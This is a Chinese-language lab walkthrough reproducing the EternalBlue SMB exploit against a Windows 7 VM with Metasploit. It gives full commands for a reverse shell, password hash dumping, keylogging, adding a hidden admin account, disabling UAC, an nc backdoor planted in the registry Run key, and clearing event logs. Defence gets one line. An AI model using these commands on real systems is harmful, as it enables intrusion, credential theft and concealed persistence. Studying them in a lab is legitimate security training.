文章目錄
- 一、永恒之藍(Eternal Blue)
- 二、復現環境
- 三、復現過程
- 1.主機發現
- 2.進入MSF框架
- 3.使用ms17-010掃描模塊,對靶機進行掃描
- 3.1使用模塊
- 3.2查看模塊需要配置的參數
- 3.3設置攻擊目標
- 3.4再次查看配置參數
- 3.5執行掃描
- 4.使用ms17-010攻擊模塊,對靶機進行攻擊
- 4.1查看這個漏洞的信息
- 4.2查看可攻擊的系統平臺
- 4.3查看攻擊載荷
- 4.4設置攻擊載荷(默認windows/x64/meterpreter/reverse_tcp)
- 4.5查看參數配置
- 4.6設置目標攻擊目標ip
- 4.6設置監聽主機(kali)
- 4.7執行攻擊
- 5.後滲透階段
- 查看主機系統信息
- 查看主機ip
- 查看用戶身份
- 獲得shell控制臺
- 想要從目標主機shell退出到meterpreter
- 獲取截屏
- 獲取用戶密碼
- 創建新的管理員賬戶
- 進入shell控制臺
- 在目標主機上創建一個名為hack的用戶,密碼為123
- 將hack加入到windows 7的本地管理員組中,以便獲得更大權限
- 查看本地用戶
- 查看本地管理員
- 開啟遠程桌面
- 6.關閉主機防護策略並開啟後門
- 6.1查看用戶及密碼
- 6.2創建防火墻規則
- 6.3關閉UAC
- 6.4開啟默認共享
- 6.5使用掃描模塊
- 6.6查看需要設置的參數
- 6.7上傳後門程序
- 6.8設置鍵值
- 6.9重啟目標主機
- 7.清除事件日志
- 四、漏洞防禦
- 參考文章
- 復現時出現的問題
一、永恒之藍(Eternal Blue)
永恒之藍是在 Windows 的SMB服務處理SMB v1請求時發生的漏洞,這個漏洞導致攻擊者在目標系統上可以執行任意代碼。通過永恒之藍漏洞會掃描開放445文件共享端口的Windows機器,無需用戶任何操作,隻要開機上網,不法分子就能在電腦和服務器中植入勒索軟件、遠程控制木馬、虛擬貨幣挖礦機等惡意程序。
二、復現環境
攻擊機:kali (192.168.203.130)
靶機:Windows 7 (192.168.203.134)
三、復現過程 1.主機發現
nmap進行ip端口掃描:
nmap -T4 -A -v 192.168.203.134#靶機ip地址
掃描到開放瞭445端口,而永恒之藍利用的就是445端口的smb服務,操作系統溢出漏洞。
2.進入MSF框架
msfconsole
search ms17-010
通過這兩個工具,其中
0 exploit/windows/smb/ms17_010_eternalblue是永恒之藍攻擊代碼,一般兩者配合使用,前者先掃描,若是顯示有漏洞,再進行攻擊。
3 auxiliary/scanner/smb/smb_ms17_010是永恒之藍掃描模塊,探測主機是否存在MS17-010漏洞。
3.使用ms17-010掃描模塊,對靶機進行掃描 3.1使用模塊
該模塊不會直接在攻擊機和靶機之間建立訪問,他們隻負責執行掃描,嗅探,指紋識別的相關功能,以輔助滲透測試。
use auxiliary/scanner/smb/smb_ms17_010
3.2查看模塊需要配置的參數
show options
Required欄中選項為yes的說明對應的Current Setting欄需要填寫,如RHOSTS。
3.3設置攻擊目標
RHOSTS 參數是要探測主機的ip或ip范圍
設置攻擊目標ip:
set rhosts 192.168.203.134
3.4再次查看配置參數
show options
3.5執行掃描
run
顯示主機可能容易受到 MS17-010 的攻擊! – Windows 7 x64(64 位)
4.使用ms17-010攻擊模塊,對靶機進行攻擊
use exploit/windows/smb/ms17_010_eternalblue
4.1查看這個漏洞的信息
info
4.2查看可攻擊的系統平臺
這個命令顯示該攻擊模塊針對哪些特定操作系統版本、語言版本的系統
show targets
這裡隻有一個,有些其他的漏洞模塊對操作系統的語言和版本要求的很嚴,比如MS08_067,這樣就要我們指定目標系統的版本的。如果不設置的話,MSF會自動幫我們判斷目標操作系統的版本和語言(利用目標系統的指紋特征)。
4.3查看攻擊載荷
攻擊載荷是我們期望在目標系統在被滲透攻擊之後完成的實際攻擊功能的代碼,成功滲透目標後,用於在目標系統上運行任意命令。
show payloads
該命令可以查看當下漏洞利用模塊下可用的所有Payload
4.4設置攻擊載荷(默認windows/x64/meterpreter/reverse_tcp)
set payload windows/x64/meterpreter/reverse_tcp
4.5查看參數配置
show options
4.6設置目標攻擊目標ip
set rhosts 192.168.203.134(如果有多個攻擊目標ip間直接用空格隔開就行)
4.6設置監聽主機(kali)
set LHOST 192.168.203.130
4.7執行攻擊
exploit(run)
攻擊成功,顯示下圖:
在這裡可以進行文件上傳下載,獲取截屏,獲取密碼,使用攝像頭拍照,後門持久化等操作。
5.後滲透階段
運行瞭exploit命令之後,我們開啟瞭一個reverse TCP監聽器來監聽本地的 4444 端口,即攻擊者的本地主機地址(LHOST)和端口號(LPORT)。
在meterpreter > 中我們可以使用以下的命令來實現對目標的操作:sysinfo #查看目標主機系統信息run scraper #查看目標主機詳細信息hashdump #導出密碼的哈希load kiwi #加載ps #查看目標主機進程信息pwd #查看目標當前目錄(windows)getlwd #查看目標當前目錄(Linux)search -f *.jsp -d e:\ #搜索E盤中所有以.jsp為後綴的文件download e:\test.txt /root #將目標機的e:\test.txt文件下載到/root目錄下upload /root/test.txt d:\test #將/root/test.txt上傳到目標機的 d:\test\ 目錄下getpid #查看當前Meterpreter Shell的進程PIDmigrate 1384 #將當前Meterpreter Shell的進程遷移到PID為1384的進程上idletime #查看主機運行時間getuid #查看獲取的當前權限getsystem #提權run killav #關閉殺毒軟件screenshot #截圖webcam_list #查看目標主機的攝像頭webcam_snap #拍照webcam_stream #開視頻execute 參數 -f 可執行文件 #執行可執行程序run getgui -u hack -p 123 #創建hack用戶,密碼為123run getgui -e #開啟遠程桌面keyscan_start #開啟鍵盤記錄功能keyscan_dump #顯示捕捉到的鍵盤記錄信息keyscan_stop #停止鍵盤記錄功能uictl disable keyboard #禁止目標使用鍵盤uictl enable keyboard #允許目標使用鍵盤uictl disable mouse #禁止目標使用鼠標uictl enable mouse #允許目標使用鼠標load #使用擴展庫run #使用擴展庫clearev #清除日志
示例:
查看主機系統信息
sysinfo
查看主機ip
ipconfig
查看用戶身份
getuid
用戶身份為: NT AUTHORITY\SYSTEM,這個也就是Windows的系統權限
獲得shell控制臺
shell
想要從目標主機shell退出到meterpreter
exit
獲取截屏
screenshot
下面的模塊主要用於在取得目標主機系統遠程控制權後,進行一系列的後滲透攻擊動作。
run post/windows/manage/migrate #自動進程遷移 run post/windows/gather/checkvm #查看目標主機是否運行在虛擬機上 run post/windows/manage/killav #關閉殺毒軟件 run post/windows/manage/enable_rdp #開啟遠程桌面服務 run post/windows/manage/autoroute #查看路由信息 run post/windows/gather/enum_logged_on_users #列舉當前登錄的用戶 run post/windows/gather/enum_applications #列舉應用程序 run windows/gather/credentials/windows_autologin #抓取自動登錄的用戶名和密碼 run windows/gather/smart_hashdump #dump出所有用戶的hash
示例:
獲取用戶密碼
run windows/gather/smart_hashdump或者hashdump
在網上搜索MD5破解即可查到相關破解網站:
創建新的管理員賬戶 進入shell控制臺
在目標主機上創建一個名為hack的用戶,密碼為123
net user hack 123 /add
將hack加入到windows 7的本地管理員組中,以便獲得更大權限
net localgroup administrators hack /add
查看本地用戶
net user
查看本地管理員
net localgroup administrators
可以看到hack已經被添加到windows管理員組中。
開啟遠程桌面
運用getuid腳本開啟目標主機遠程桌面:
run getgui -e或者run post/windows/manage/enable_rdp
在kali終端輸入
rdesktop 192.168.203.134#靶機ip地址
即可打開遠程桌面
6.關閉主機防護策略並開啟後門 6.1查看用戶及密碼
hashdump
6.2創建防火墻規則
創建一條防火墻規則允許4444端口訪問網絡,方便後期操作
shellnetsh firewall add portopening TCP 4444 "hack" ENABLE ALL
新建一個防火墻規則,允許443端口訪問網絡
netsh firewall add portopening TCP 443 "hack" ENABLE ALL
6.3關閉UAC
其原理就是通知用戶是否對應用程序使用硬盤驅動器和系統文件授權,以達到幫助阻止惡意程序損壞系統的效果。
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /fADD 添加一個註冊表項-v 創建鍵值-t 鍵值類型-d 鍵值的值-f 強制修改註冊表項
6.4開啟默認共享
開啟系統主機的默認共享,默認共享對於主機文件共享非常方便,也方便黑客利用這個功能,遠程執行命令。
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
exit返回meterpreter,輸入background將永恒之藍拿到的會話保持到後臺。
6.5使用掃描模塊
use exploit/windows/smb/psexec
6.6查看需要設置的參數
show options
設置靶機ip:set rhosts 192.168.203.134設置靶機賬戶名:set smbuser hack設置靶機密碼:set smbpass (hack賬戶密碼hash值)設置靶機工作組:set smbdomain WORKGROUP運行:run
6.7上傳後門程序
為瞭讓連接持久話,我們可以上傳後門程序,這樣就能保持會話長久建立。在kali 裡面如下路徑有我們的後門程序nc 俗稱瑞士軍刀。我們可以將它上傳到目標機c盤裡面
上傳nc到c盤windows文件夾中,如果想更隱蔽一點,可以在往文件夾裡面上傳
打開靶機window文件夾可以看到成功上傳文件。
6.8設置鍵值
當目標機開機,程序後臺運行,且監聽端口為443,這個端口就是之前在shell中創建的新防火墻規則:允許443端口訪問網絡。
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'
6.9重啟目標主機
reboot
在kali終端就可以直接使用
nc -v 192.168.203.134 443
連接瞭。
這樣就可以直接通過nc監聽靶機。
至此,永恒之藍的攻擊復現就完成瞭,後續其他的進一步攻擊可以向上傳nc一樣上傳病毒。
7.清除事件日志
由於攻擊過程中的所有操作都會被記錄在目標系統的日志文件之中,因此需要在完成攻擊之後使用
clearev
命令來清除事件日志:
四、漏洞防禦
關閉445端口。打開防火墻,安裝安全軟件。安裝對應補丁
參考文章
https://blog.csdn.net/qq_44159028/article/details/104044002https://cxymm.net/article/dreamthe/121375464#%C2%A03.%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D%E5%88%A9%E7%94%A8%E4%B9%8B%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%99%BB%E5%BD%95%E3%80%82
復現時出現的問題
在復現時曾經使用過Windows8和Windows10來作為靶機,但是在使用ms17-010攻擊模塊
use exploit/windows/smb/ms17_010_eternalblue
時,卻出現這樣的錯誤提示:
Windows8
Started reverse TCP handler on 192.168.203.130:4444 192.168.203.132:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check192.168.203.132:445 - Host is likely VULNERABLE to MS17-010! - Windows 8 9200 x64 (64-bit)192.168.203.132:445 - Errno::ECONNRESET: Connection reset by peer192.168.203.132:445 - Scanned 1 of 1 hosts (100% complete)192.168.203.132:445 - The target is vulnerable.192.168.203.132:445 - shellcode size: 1283192.168.203.132:445 - numGroomConn: 12192.168.203.132:445 - Target OS: Windows 8 9200192.168.203.132:445 - CommunicationError encountered. Have you set SMBUser/SMBPass" >192.168.203.132:445 - Exploit failed with the following error: Read timeout expired when reading from the Socket (timeout=30)Exploit completed, but no session was created.
Windows10
搜索半天沒弄明白,以後有機會再研究。